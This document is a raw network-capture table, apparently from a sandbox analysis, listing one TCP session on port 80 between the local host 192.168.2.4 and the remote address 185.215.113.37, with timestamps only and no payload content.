Sep 28, 2024 10:19:06.423779964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423805952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424103022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424118996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424141884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424149990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424159050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424165010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424175978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424181938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424192905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424202919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424210072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424221992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424226046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.424237967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424254894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.424269915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425101995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425117970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425132036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425147057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425147057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425160885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425163031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425177097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425179005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425190926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425195932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425210953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425211906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425228119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.425228119 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425237894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425252914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.425272942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426076889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426093102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426107883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426120996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426122904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426136971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426140070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426150084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426156998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426168919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426173925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426182985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426189899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426192045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426212072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426232100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.426960945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426978111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.426991940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427007914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427016973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427027941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427031994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427042007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427047968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427061081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427064896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427068949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427082062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427088976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427098036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427105904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427124023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427139997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427931070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427947998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427962065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.427977085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.427988052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.428006887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.465030909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465046883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465063095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465076923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465090990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.465091944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465114117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.465142012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.465167999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465205908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.465359926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.465423107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466134071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466149092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466166019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466181040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466181993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466197014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466198921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466208935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466228962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466243029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466603041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466650009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466793060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466809034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466821909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466835976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466850996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466852903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466866970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466876030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.466885090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466897964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.466916084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.467272043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.467319012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.467629910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.467679977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.467829943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.467852116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.467880011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.467905998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.468019009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.468034983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.468050957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.468065977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.468066931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.468081951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.468101978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.468111038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469063044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469079971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469094038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469109058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469120026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469122887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469136953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469139099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469157934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469167948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469177008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.469186068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469208002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.469227076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.470859051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470877886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470892906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470907927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470922947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470923901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.470938921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470944881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.470954895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470972061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.470973969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.470988035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471020937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471525908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471540928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471555948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471570015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471580029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471585035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471601963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471616030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471637964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471638918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471657038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.471681118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.471699953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.472937107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.472987890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473074913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473115921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473227024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473242044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473257065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473270893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473273039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473288059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473288059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.473301888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473320961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.473330021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.474446058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474463940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474476099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474483967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474499941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474515915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474529982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.474545002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.474586010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.512697935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.512743950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.512782097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.512790918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.512814999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.512831926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.512907982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.512964964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513066053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513101101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513117075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513134956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513144970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513169050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513187885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513202906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513220072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513238907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513250113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513290882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513561010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513617992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513740063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513773918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513797045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513806105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513817072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513839960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.513856888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.513880014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514256001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514271975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514286995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514302015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514307022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514318943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514321089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514341116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514343977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514358044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514372110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.514373064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514399052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.514424086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515589952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515604973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515619993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515635014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515638113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515650988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515657902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515667915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515674114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515686035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.515701056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515728951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.515762091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516107082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516122103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516136885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516151905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516153097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516166925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516168118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516186953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516211033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516450882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516499996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.516633034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.516680956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.517328024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517343044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517357111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517373085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517375946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.517389059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517390966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.517405987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517419100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517433882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517433882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.517452002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.517467022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.517493010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.518584013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.518601894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.518616915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.518630981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.518647909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.518678904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550442934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550504923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550533056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550579071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550579071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550651073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550662041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550698042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550718069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550740004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.550940037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550973892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.550993919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551008940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551023960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551060915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551275015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551310062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551331997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551343918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551352978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551403999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551652908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551687956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551707983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551722050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551733971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551758051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.551774025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.551816940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552072048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552123070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552128077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552160025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552172899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552195072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552212000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552228928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552247047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552263021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552272081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552297115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552313089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552342892 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.552927971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552978039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.552980900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553011894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553030014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553045988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553064108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.553096056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.553117990 CEST	49730	80	192.168.2.4	185.215.113.37
